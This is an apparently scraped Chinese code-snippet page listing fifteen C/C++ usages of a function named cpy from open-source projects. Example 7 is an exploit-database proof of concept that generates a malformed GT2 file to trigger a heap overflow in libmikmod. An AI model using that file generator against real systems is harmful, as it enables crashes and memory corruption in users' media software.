当前位置: 首页>>代码示例>>C++>>正文


C++ cpy函数代码示例

本文整理汇总了C++中cpy函数的典型用法代码示例。如果您正苦于以下问题:C++ cpy函数的具体用法?C++ cpy怎么用?C++ cpy使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了cpy函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: pl_copy

/*
 * Copies a polygon struct.
 * 
 * Also allows to create transformed copies of the struct Polygon by using a 
 * function that copies the points.
 * 
 * @param Polygon * 	pl		Pointer to the polygon to be copied.
 * @param void * 		   	cpy 	A pointer to a function to transform the coords.
 * @param int   			holes 	Whether or not to also copy the holes.
 * 
 * @return Polygon *  A pointer to the copied polygon.
 * 
 */
Polygon * 
pl_copy(const Polygon * pl, 
		void (*cpy)(vec dest, const vec src), 
		const int holes)
{
    assert(pl);
    
    Polygon * cp= (Polygon *)malloc(sizeof(Polygon));
    assert(cp);
    
    memcpy(cp, pl, sizeof(Polygon));
    
    cp->points= (PolyVert *)malloc(pl->size * sizeof(PolyVert));
    assert(cp->points);
    
    uint i;
    
    if (cpy){
        for (i= 0; i < pl->last; i++){
            cpy(cp->points[i].co, pl->points[i].co);
            cp->points[i].flags = pl->points[i].flags;
        }
        cpy(cp->bb.min, pl->bb.min);
        cpy(cp->bb.max, pl->bb.max);
    }
    else{
        memcpy(cp->points, pl->points, pl->last * sizeof(PolyVert));
        // min & max have already been copied by memcpy.
    }
    
    cp->holes = (holes) ? pll_copy(pl->holes, cpy) : NULL;
    
    return cp;
}
开发者ID:alxarch,项目名称:pygons,代码行数:47,代码来源:polygon.c

示例2: unifyToRank0

//分割された領域をまとめる.
static dcomplex* unifyToRank0(dcomplex *phi)
{
    SubFieldInfo_S subInfo_s = field_getSubFieldInfo_S();
    FieldInfo_S fInfo_s = field_getFieldInfo_S();
    //マスターにすべて集める
    if(subInfo_s.Rank == 0)
    {
        MPI_Status status;
        dcomplex *entire = newDComplex(fInfo_s.N_CELL);
        cpy(entire, phi, subInfo_s.OFFSET_X, subInfo_s.OFFSET_Y, subInfo_s.OFFSET_Z);

        dcomplex *tmp = newDComplex(subInfo_s.SUB_N_CELL);
        int offset[3];
        for(int i=1; i<subInfo_s.Nproc; i++)
        {
            MPI_Recv(offset, 3, MPI_INT, i, 0, MPI_COMM_WORLD, &status);
            MPI_Recv(tmp, subInfo_s.SUB_N_CELL, MPI_C_DOUBLE_COMPLEX, i, 0, MPI_COMM_WORLD, &status);

            cpy(entire, tmp, offset[0], offset[1], offset[2]);
        }
        free(tmp);
        return entire;
    }
    else {
        int offset[3];
        offset[0] = subInfo_s.OFFSET_X;
        offset[1] = subInfo_s.OFFSET_Y;
        offset[2] = subInfo_s.OFFSET_Z;
        MPI_Send(offset, 3, MPI_INT, 0, 0, MPI_COMM_WORLD);
        MPI_Send(phi, subInfo_s.SUB_N_CELL, MPI_C_DOUBLE_COMPLEX, 0, 0, MPI_COMM_WORLD);

        return NULL; //マスター以外はNULLを返す.
    }
}
开发者ID:rennone,项目名称:mpiFDTD-3D,代码行数:35,代码来源:mpiFDTD3D_upml.c

示例3: performMathsOp

/**
 * Called when running on the host, this performs some maths operation
 */
struct value_defn performMathsOp(unsigned short operation, struct value_defn value) {
	struct value_defn result;
	result.dtype=SCALAR;
	if (operation== RANDOM_MATHS_OP) {
		result.type=INT_TYPE;
		int r=rand();
		cpy(result.data, &r, sizeof(int));
	} else {
		float fvalue, r;
		if (value.type==REAL_TYPE) {
			fvalue=*((float*) value.data);
		} else if (value.type==INT_TYPE) {
			fvalue=(float) *((int*) value.data);
		}
		result.type=REAL_TYPE;
		if (operation==SQRT_MATHS_OP) r=sqrtf(fvalue);
		if (operation==SIN_MATHS_OP) r=sinf(fvalue);
		if (operation==COS_MATHS_OP) r=cosf(fvalue);
		if (operation==TAN_MATHS_OP) r=tanf(fvalue);
		if (operation==ASIN_MATHS_OP) r=asinf(fvalue);
		if (operation==ACOS_MATHS_OP) r=acosf(fvalue);
		if (operation==ATAN_MATHS_OP) r=atanf(fvalue);
		if (operation==SINH_MATHS_OP) r=sinhf(fvalue);
		if (operation==COSH_MATHS_OP) r=coshf(fvalue);
		if (operation==TANH_MATHS_OP) r=tanhf(fvalue);
		if (operation==FLOOR_MATHS_OP) r=floorf(fvalue);
		if (operation==CEIL_MATHS_OP) r=ceilf(fvalue);
		if (operation==LOG_MATHS_OP) r=logf(fvalue);
		if (operation==LOG10_MATHS_OP) r=log10f(fvalue);
		cpy(result.data, &r, sizeof(float));
	}
	return result;
}
开发者ID:caidongyun,项目名称:epython,代码行数:36,代码来源:host-functions.c

示例4: handleLet

static unsigned int handleLet(char * assembled, unsigned int currentPoint, unsigned int length, char restrictNoAlias, int threadId) {
#else
static unsigned int handleLet(char * assembled, unsigned int currentPoint, unsigned int length, char restrictNoAlias) {
#endif
    unsigned short varId=getUShort(&assembled[currentPoint]);
    currentPoint+=sizeof(unsigned short);
#ifdef HOST_INTERPRETER
    struct symbol_node* variableSymbol=getVariableSymbol(varId, fnLevel[threadId], threadId, 1);
    struct value_defn value=getExpressionValue(assembled, &currentPoint, length, threadId);
    if (restrictNoAlias && getVariableSymbol(varId, fnLevel[threadId], threadId, 0)->state==ALIAS) return currentPoint;
#else
    struct symbol_node* variableSymbol=getVariableSymbol(varId, fnLevel, 1);
    struct value_defn value=getExpressionValue(assembled, &currentPoint, length);
    if (restrictNoAlias && getVariableSymbol(varId, fnLevel, 0)->state==ALIAS) return currentPoint;
#endif
    variableSymbol->value.type=value.type;
    variableSymbol->value.dtype=value.dtype;
    if (value.dtype == ARRAY) {
        cpy(variableSymbol->value.data, value.data, sizeof(char*));
    } else if (value.type == STRING_TYPE) {
        cpy(&variableSymbol->value.data, &value.data, sizeof(char*));
    } else {
        int currentAddress=getInt(variableSymbol->value.data);
        if (currentAddress == 0) {
            char * address=getStackMemory(sizeof(int), 0);
            cpy(variableSymbol->value.data, &address, sizeof(char*));
            cpy(address, value.data, sizeof(int));
        } else {
            setVariableValue(variableSymbol, value, -1);
        }
    }
    return currentPoint;
}
开发者ID:mesham,项目名称:epython,代码行数:33,代码来源:interpreter.c

示例5: eliminate_nonconformities

int eliminate_nonconformities(MeshType const & input, MeshType & output)
{
  int counter = 0;

  viennagrid::element_copy_map<double> cpy(output, eps, false);

  typedef viennagrid::result_of::vertex_range<MeshType>::type     VertexRange;
  typedef viennagrid::result_of::iterator<VertexRange>::type        VertexIterator;

  typedef viennagrid::result_of::element_range<MeshType, 1>::type       EdgeRange;
  typedef viennagrid::result_of::iterator<EdgeRange>::type          EdgeIterator;

  EdgeRange edges(input);
  VertexRange vertices(input);

  for (EdgeIterator eit = edges.begin(); eit != edges.end(); ++eit)
  {
    bool found = false;

    for (VertexIterator vit = vertices.begin(); vit != vertices.end(); ++vit)
    {
      if ( (*vit == viennagrid::vertices(*eit)[0]) || (*vit == viennagrid::vertices(*eit)[1]) )
        continue;

      if (viennagrid::is_inside(*eit, viennagrid::get_point(*vit), eps))
      {
        ++counter;
        found = true;

        ElementType ev0 = cpy(viennagrid::vertices(*eit)[0]);
        ElementType ev1 = cpy(viennagrid::vertices(*eit)[1]);
        ElementType v = cpy(*vit);

        try
        {
          viennagrid::make_line(output, ev0, v);
        }
        catch (...) {}

        try
        {
          viennagrid::make_line(output, v, ev1);
        }
        catch (...) {}
      }
    }

    if (!found)
    {
      try
      {
        cpy(*eit);
      }
      catch (...) {}
    }
  }

  return counter;
}
开发者ID:FlorianRudolf,项目名称:SSAVM-Benchmark,代码行数:59,代码来源:svg_to_vtu.cpp

示例6: copyStringToSharedMemoryAndSetLocation

/**
 * Copies some string into shared memory and sets the location in the data core area
 */
static int copyStringToSharedMemoryAndSetLocation(char * string, int start) {
	int len=slength(string)+1;
	char* ptr=sharedData->core_ctrl[myId].shared_data_start + sharedDataEntries;
	cpy(ptr, string, len);
	cpy(&sharedData->core_ctrl[myId].data[start], &sharedDataEntries, sizeof(unsigned int));
	sharedDataEntries+=len;
	return len;
}
开发者ID:caidongyun,项目名称:epython,代码行数:11,代码来源:device-functions.c

示例7: main

int main(int argc, char *argv[]) {
    FILE    *fd;
    gt2_t   gt2;
    int     i;
    char    *fname;

    setbuf(stdout, NULL);

    fputs("\n"
          "libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
          "by Luigi Auriemma\n"
          "e-mail: [email protected]i.org\n"
          "web:    aluigi.org\n"
          "\n", stdout);

    if(argc < 2) {
        printf("\n"
               "Usage: %s <output_file.GT2>\n"
               "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();

    gt2.gt2[0]        = 'G';
    gt2.gt2[1]        = 'T';
    gt2.gt2[2]        = '2';
    gt2.version       = 4;
    gt2.chunk_size    = 0;                  // unused
    cpy(gt2.module,   "module_name");
    cpy(gt2.comments, "author");
    gt2.date_day      = 1;
    gt2.date_month    = 1;
    gt2.date_year     = 2006;
    cpy(gt2.tracker,  "tracker");
    gt2.speed         = 6;
    gt2.tempo         = 300;
    gt2.volume        = 0;
    gt2.voices        = 0;

    printf("- write GT2 header\n");
    fwrite(&gt2, sizeof(gt2), 1, fd);
    for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);

    printf("- build the XCOM header for exploiting the heap overflow\n");
    fwmem(fd, "XCOM", 4);
    fwi32(fd, 0);                           // unused
    fwi32(fd, 0xffffffff);                  // bug here, 0xffffffff + 1 = 0
    fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

    fclose(fd);
    printf("- finished\n");
    return(0);
}
开发者ID:MeteorAdminz,项目名称:exploit-database,代码行数:58,代码来源:2073.c

示例8: sendDataToHostProcess

static void sendDataToHostProcess(struct value_defn to_send, int hostProcessTarget) {
	cpy(sharedData->core_ctrl[myId].data, &hostProcessTarget, 4);
	sharedData->core_ctrl[myId].data[5]=to_send.type;
	cpy(&sharedData->core_ctrl[myId].data[6], to_send.data, 4);
	unsigned int pb=sharedData->core_ctrl[myId].core_busy;
	sharedData->core_ctrl[myId].core_command=5;
	sharedData->core_ctrl[myId].core_busy=0;
	while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
}
开发者ID:caidongyun,项目名称:epython,代码行数:9,代码来源:device-functions.c

示例9: test_heapsort

void
test_heapsort (size_t N)
{
  int status;

  double *orig = (double *) malloc (N * sizeof (double));
  double *data = (double *) malloc (N * sizeof (double));
  size_t  *p = (size_t *) malloc (N * sizeof(size_t));

  initialize (orig, N);

  /* Already sorted */
  cpy (data, orig, N);

  status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status |= pcheck (p, data, orig, N);
  gsl_test (status, "indexing array, n = %u, ordered", N);

  gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status = check (data, orig, N);

  gsl_test (status, "sorting, array, n = %u, ordered", N);

  /* Reverse the data */

  cpy (data, orig, N);
  reverse (data, N);

  status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status |= pcheck (p, data, orig, N);
  gsl_test (status, "indexing array, n = %u, reversed", N);

  gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status = check (data, orig, N);

  gsl_test (status, "sorting, array, n = %u, reversed", N);

  /* Perform some shuffling */

  cpy (data, orig, N);
  randomize (data, N);

  status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status |= pcheck (p, data, orig, N);
  gsl_test (status, "indexing array, n = %u, randomized", N);

  gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status = check (data, orig, N);

  gsl_test (status, "sorting, array, n = %u, randomized", N);

  free (orig);
  free (data);
  free (p);
}
开发者ID:tommyliu,项目名称:visionPJ1,代码行数:55,代码来源:test_heapsort.c

示例10: main

int main(int argc, char ** argv)
{
  cpy("abcdefghijklmnopqrstuvwxyz", buffer, 27);
  if (strcmp(buffer, "abcdefghijklmnopqrstuvwxyz") != 0) exit(1);
  cpy(buffer, buffer+3, 26-3);
  if (strcmp(buffer, "abcabcdefghijklmnopqrstuvw") != 0) exit(1);
  cpy("abcdefghijklmnopqrstuvwxyz", buffer, 27);
  cpy(buffer+3, buffer, 26-3);
  if (strcmp(buffer, "defghijklmnopqrstuvwxyzxyz") != 0) exit(1);
  exit(0);
}
开发者ID:BrianMulhall,项目名称:ocaml,代码行数:11,代码来源:bytecopy.c

示例11: recvDataFromHostProcess

static struct value_defn recvDataFromHostProcess(int hostSource) {
	struct value_defn to_recv;
	cpy(sharedData->core_ctrl[myId].data, &hostSource, 4);
	unsigned int pb=sharedData->core_ctrl[myId].core_busy;
	sharedData->core_ctrl[myId].core_command=6;
	sharedData->core_ctrl[myId].core_busy=0;
	while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
	to_recv.type=sharedData->core_ctrl[myId].data[5];
	cpy(to_recv.data, &sharedData->core_ctrl[myId].data[6], 4);
	to_recv.dtype=SCALAR;
	return to_recv;
}
开发者ID:caidongyun,项目名称:epython,代码行数:12,代码来源:device-functions.c

示例12: sendDataToHostProcess

static void sendDataToHostProcess(struct value_defn to_send, int target, int threadId) {
	volatile unsigned char communication_data[6];
	communication_data[0]=to_send.type;
	cpy(&communication_data[1], to_send.data, 4);
	syncValues[threadId][target]=syncValues[threadId][target]==255 ? 0 : syncValues[threadId][target]+1;
	communication_data[5]=syncValues[threadId][target];
	char * remoteMemory=(char*) sharedComm[target] + (threadId*6);
	cpy(remoteMemory, communication_data, 6);
	syncValues[threadId][target]=syncValues[threadId][target]==255 ? 0 : syncValues[threadId][target]+1;
	while (communication_data[5] != syncValues[threadId][target]) {
		cpy(communication_data, remoteMemory, 6);
	}
}
开发者ID:caidongyun,项目名称:epython,代码行数:13,代码来源:host-functions.c

示例13: sendRecvDataWithHostProcess

static struct value_defn sendRecvDataWithHostProcess(struct value_defn to_send, int hostProcessTarget) {
	struct value_defn receivedData;
	cpy(sharedData->core_ctrl[myId].data, &hostProcessTarget, 4);
	sharedData->core_ctrl[myId].data[5]=to_send.type;
	cpy(&sharedData->core_ctrl[myId].data[6], to_send.data, 4);
	unsigned int pb=sharedData->core_ctrl[myId].core_busy;
	sharedData->core_ctrl[myId].core_command=7;
	sharedData->core_ctrl[myId].core_busy=0;
	while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
	receivedData.type=sharedData->core_ctrl[myId].data[11];
	cpy(receivedData.data, &sharedData->core_ctrl[myId].data[12], 4);
	receivedData.dtype=SCALAR;
	return receivedData;
}
开发者ID:caidongyun,项目名称:epython,代码行数:14,代码来源:device-functions.c

示例14: shortemcluster

int shortemcluster(int n, int p, int k, double *pi, double **X,
    double **Mu, double **LTSigma, int maxiter, double eps, double *llhdval,
    int *conv_iter, double *conv_eps){
  int iter, i, n_par =  p * (p + 1) / 2;
  double *backup_pi, **backup_Mu, **backup_LTSigma;
  double **gamm, llhd, oldllhd, llh0;

  MAKE_VECTOR(backup_pi, k);
  MAKE_MATRIX(backup_Mu, k, p);
  MAKE_MATRIX(backup_LTSigma, k, n_par);
  MAKE_MATRIX(gamm, n, k);

  estep_gamma(n, p, k, X, gamm, Mu, LTSigma);
  llhd = lnlikelihood_gamma(n, k, gamm, pi);
  llh0 = llhd;
  iter = 0;
  do{
    oldllhd = llhd;
    norm_gamma(n, k, gamm, pi);

    for(i = 0; i < k; i++) backup_pi[i] = pi[i];
    cpy(Mu, k, p, backup_Mu);
    cpy(LTSigma, k, n_par, backup_LTSigma);

    mstep(X, n, p, k, pi, Mu, LTSigma, gamm);
    estep_gamma(n, p, k, X, gamm, Mu, LTSigma);
    llhd = lnlikelihood_gamma(n, k, gamm, pi);

    if(oldllhd > llhd){
      for(i = 0; i < k; i++) pi[i] = backup_pi[i];
      cpy(backup_Mu, k, p, Mu);
      cpy(backup_LTSigma, k, n_par, LTSigma);
      llhd = oldllhd;
      iter--;
      break;
    }

    iter++;
    *conv_eps = fabs((oldllhd - llhd) / (llh0 - llhd));
  } while((*conv_eps > eps) && (iter < maxiter));
  *llhdval = llhd;
  *conv_iter = iter;

  FREE_VECTOR(backup_pi);
  FREE_MATRIX(backup_Mu);
  FREE_MATRIX(backup_LTSigma);
  FREE_MATRIX(gamm);
  return iter;
}
开发者ID:cran,项目名称:EMCluster,代码行数:49,代码来源:M_init_other.c

示例15: cmp

cmp(char s[80],char t[80])
{
    char string[80];
    int i=0;
    for(i=0; i<80&&t[i]; i++)
        if(s[i]>t[i])
        {
            cpy(string,s);
            cpy(s,t);
            cpy(t,string);
            break;
        }
        else if (s[i]<t[i]) break;
    printf("%s   %s\n",s,t);
}
开发者ID:zning1994,项目名称:practice,代码行数:15,代码来源:ex2.2.c


注:本文中的cpy函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。